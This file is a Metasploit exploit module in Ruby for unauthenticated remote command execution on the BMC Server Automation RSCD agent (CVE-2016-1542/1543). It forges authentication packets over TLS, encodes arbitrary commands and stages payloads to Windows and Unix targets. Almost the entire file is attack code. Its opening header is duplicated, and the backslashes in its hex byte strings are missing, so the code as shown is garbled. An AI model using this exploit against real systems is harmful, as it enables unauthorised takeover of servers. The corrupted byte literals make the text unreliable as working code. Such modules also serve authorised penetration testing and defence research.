##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit:: ##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

include Exploit::Remote::Tcp
include Msf::Exploit::CmdStager
include Msf::Exploit::Powershell

def initialize(info = {})
super(update_info(info,
'Name' => 'BMC Server Automation RSCD Agent NSH Remote '
'Command Execution',
'Description' => %q(
This module exploits a weak access control check in the BMC Server
Automation RSCD agent that allows arbitrary operating system commands
to be executed without authentication.
Note: Under Windows, non-powershell commands may need to be prefixed
with 'cmd /c'.
),
'Author' =>
[
'Olga Yanushkevich, ERNW <@yaole0>', # Vulnerability discovery
'Nicky Bloor (@NickstaDB) <nick@nickbloor.co.uk>' # RCE payload and Metasploit module
],
'References' =>
[
['URL', 'https://insinuator.net/2016/03/bmc-bladelogic-cve-2016-1542-and-cve-2016-1543/'],
['URL', 'https://nickbloor.co.uk/2018/01/01/rce-with-bmc-server-automation/'],
['URL', 'https://nickbloor.co.uk/2018/01/08/improving-the-bmc-rscd-rce-exploit/'],
['CVE', '2016-1542'],
['CVE', '2016-1543']
],
'DisclosureDate' => 'Mar 16 2016',
'Privileged' => false,
'Stance' => Msf::Exploit::Stance::Aggressive,
'Platform' => %w[win linux unix],
'Targets' =>
[
['Automatic', {}],
[
'Windows/VBS Stager', {
'Platform' => 'win',
'Payload' => { 'Space' => 8100 }
}
],
[
'Unix/Linux', {
'Platform' => %w[linux unix],
'Payload' => { 'Space' => 32_700 }
}
],
[
'Generic Command', {
'Arch' => ARCH_CMD,
'Platform' => %w[linux unix win]
}
]
],
'DefaultTarget' => 0,
'License' => MSF_LICENSE,
'Payload' => {
'BadChars' => "x00x09x0a"
},
'CmdStagerFlavor' => %w[vbs echo])
)

register_options(
[
Opt::RPORT(4750)
]
)

deregister_options('SRVHOST', 'SRVPORT', 'SSL', 'SSLCert', 'URIPATH')
end

def check
# Send agentinfo request and check result
vprint_status('Checking for BMC with agentinfo request.')
res = send_agentinfo_request

# Check for successful platform detection
if res[0] == 1
vprint_good('BMC RSCD agent detected, platform appears to be ' + res[1])
return CheckCode::Detected
end

# Get first four bytes of the packet which should hold the content length
res_len = res[1] && res[1].length > 3 ? res[1][0..3].unpack('N')[0] : 0

# Return unknown if the packet format appears correct (length field check)
if res[1] && res[1].length - 4 == res_len
vprint_warning('Target appears to be BMC, however an unexpected '
'agentinfo response was returned.')
vprint_warning('Response: ' + res[1])
return CheckCode::Unknown
end

# Invalid response, probably not a BMC RSCD target
vprint_error('The target does not appear to be a BMC RSCD agent.')
vprint_error('Response: ' + res[1]) if res[1]
CheckCode::Safe
end

def exploit
# Do auto target selection
target_name = target.name

if target_name == 'Automatic'
# Attempt to detect the target platform
vprint_status('Detecting remote platform for auto target selection.')
platform = send_agentinfo_request

# Fail if platform detection was unsuccessful
if platform[0].zero?
fail_with(Failure::UnexpectedReply, 'Unexpected response while '
'detecting target platform.')
end

# Set target based on returned platform
target_name = if platform[1].downcase.include?('windows')
'Windows/VBS Stager'
else
'Unix/Linux'
end
end

# Exploit based on target
vprint_status('Generating and delivering payload.')
if target_name == 'Windows/VBS Stager'
if payload.raw.start_with?('powershell', 'cmd')
execute_command(payload.raw)
else
execute_cmdstager(flavor: :vbs, linemax: payload.space)
end
handler
elsif target_name == 'Unix/Linux'
execute_cmdstager(flavor: :echo, linemax: payload.space)
handler
elsif target_name == 'Generic Cmd'
send_nexec_request(payload.raw, true)
end
end

# Execute a command but don't print output
def execute_command(command, opts = {})
if opts[:flavor] == :vbs
if command.start_with?('powershell') == false
if command.start_with?('cmd') == false
send_nexec_request('cmd /c ' + command, false)
return
end
end
end
send_nexec_request(command, false)
end

# Connect to the RSCD agent and execute a command via nexec
def send_nexec_request(command, show_output)
# Connect and auth
vprint_status('Connecting to RSCD agent and sending fake auth.')
connect_to_rscd
send_fake_nexec_auth

# Generate and send the payload
vprint_status('Sending command to execute.')
sock.put(generate_cmd_pkt(command))

# Finish the nexec request
sock.put("x00x00x00x22x30x30x30x30x30x30x31x61x30x30x30"
"x30x30x30x31x32x77x38x30x3bx34x31x3bx33x39x30"
"x35x38x3bx32x34x38x35x31")
sock.put("x00x00x00x12x30x30x30x30x30x30x30x61x30x30x30"
"x30x30x30x30x32x65x7f")
sock.put("x00x00x00x12x30x30x30x30x30x30x30x61x30x30x30"
"x30x30x30x30x32x69x03")
sock.put("x00x00x00x12x30x30x30x30x30x30x30x61x30x30x30"
"x30x30x30x30x32x74x31")
sock.put("x00x00x00x1cx30x30x30x30x30x30x31x34x30x30x30"
"x30x30x30x30x63x77x38x30x3bx34x31x3bx38x30x3b"
"x34x31")
sock.put("x00x00x00x11x30x30x30x30x30x30x30x39x30x30x30"
"x30x30x30x30x31x7a")

# Get the response from the RSCD agent and disconnect
vprint_status('Reading response from RSCD agent.')
res = read_cmd_output
if show_output == true
if res && res[0] == 1
print_good("Output " + res[1])
else
print_warning('Command execution failed, the command may not exist.')
vprint_warning("Output " + res[1])
end
end
disconnect
end

# Attempt to retrieve RSCD agent info and return the platform string
def send_agentinfo_request
# Connect and send fake auth
vprint_status('Connecting to RSCD agent and sending fake auth.')
connect_to_rscd
send_fake_agentinfo_auth

# Send agentinfo request, read the response, and disconnect
vprint_status('Requesting agent information.')
sock.put("x00x00x00x32x30x30x30x30x30x30x32x61x30x30x30"
"x30x30x30x31x30x36x34x3bx30x3bx32x3bx36x66x37"
"x3bx38x38x30x3bx30x30x30x30x30x30x30x30x32x34"
"x31x30x30x30x30x30x30x30x30")
res = sock.get_once
disconnect

# Return the platform field from the response if it looks valid
res_len = res.length > 3 ? res[0..3].unpack('N')[0] : 0
return [1, res.split(';')[4]] if res &&
res.split(';').length > 6 &&
res.length == (res_len + 4)

# Invalid or unexpected response format, return the complete response
[0, res]
end

# Connect to the target and upgrade to an encrypted connection
def connect_to_rscd
connect
sock.put('TLS')
sock.extend(Rex::Socket::SslTcp)
sock.sslctx = OpenSSL::SSL::SSLContext.new(:SSLv23)
sock.sslctx.verify_mode = OpenSSL::SSL::VERIFY_NONE
sock.sslctx.options = OpenSSL::SSL::OP_ALL
sock.sslctx.ciphers = 'ALL'
sock.sslsock = OpenSSL::SSL::SSLSocket.new(sock, sock.sslctx)
sock.sslsock.connect
end

# Send fake agentinfo auth packet and ignore the response
def send_fake_agentinfo_auth
sock.put("x00x00x00x5ex30x30x30x30x30x30x35x36x30x30x30"
"x30x30x30x31x31x36x35x3bx30x3bx33x35x3bx38x38"
"x30x3bx38x38x30x3bx30x30x30x30x30x30x30x33x35"
"x30x3bx30x3bx37x3b" + rand_text_alpha(7) + "x3bx39"
"x3bx61x67x65x6ex74x69x6ex66x6fx3bx2dx3bx2dx3b"
"x30x3bx2dx3bx31x3bx31x3bx37x3b" + rand_text_alpha(7) +
"x3bx55x54x46x2dx38")
sock.get_once
end

# Send fake nexec auth packet and ignore the response
def send_fake_nexec_auth
sock.put("x00x00x00x5ax30x30x30x30x30x30x35x32x30x30x30"
"x30x30x30x31x31x36x35x3bx30x3bx33x31x3bx64x61"
"x34x3bx64x61x34x3bx30x30x30x30x30x30x30x33x31"
"x30x3bx30x3bx37x3b" + rand_text_alpha(7) + "x3bx35"
"x3bx6ex65x78x65x63x3bx2dx3bx2dx3bx30x3bx2dx3b"
"x31x3bx31x3bx37x3b" + rand_text_alpha(7) + "x3bx55"
"x54x46x2dx38")
sock.get_once
end

# Generate a payload packet
def generate_cmd_pkt(command)
# Encode back slashes
pkt = command.gsub('\', "xc1xdc")

# Encode double quotes unless powershell is being used
pkt = pkt.gsub('"', "xc2x68") unless pkt.start_with?('powershell')

# Construct the body of the payload packet
pkt = pad_number(pkt.length + 32) + "x30x30x30x30x30x30x31x30"
"x62x37x3bx30x3bx32x3bx63x61x65x3bx64x61x34x3bx30" +
pad_number(pkt.length) + pkt

# Prefix with the packet length and return
[pkt.length].pack('N') + pkt
end

# Convert the given number to a hex string padded to 8 chars
def pad_number(num)
format('%08x', num)
end

# Read the command output from the server
def read_cmd_output
all_output = ''
response_done = false

# Read the entire response from the RSCD service
while response_done == false
# Read a response chunk
chunk = sock.get_once
next unless chunk && chunk.length > 4
chunk_len = chunk[0..3].unpack('N')[0]
chunk = chunk[4..chunk.length]
chunk += sock.get_once while chunk.length < chunk_len

# Check for the "end of output" chunk
if chunk_len == 18 && chunk.start_with?("x30x30x30x30x30x30x30"
"x61x30x30x30x30x30x30"
"x30x32x78")
# Response has completed
response_done = true
elsif all_output == ''
# Keep the first response chunk as-is
all_output += chunk

# If the command failed, we're done
response_done = true unless all_output[8..15].to_i(16) != 1
else
# Append everything but the length fields to the output buffer
all_output += chunk[17..chunk.length]
end
end

# Return output if response indicated success
return [1, all_output[26..all_output.length]] if
all_output &&
all_output.length > 26 &&
all_output[8..15].to_i(16) == 1

# Return nothing if there isn't enough data for error output
return [0, ''] unless all_output && all_output.length > 17

# Get the length of the error output and return the error
err_len = all_output[8..15].to_i(16) - 1
[0, all_output[17..17 + err_len]]
end
end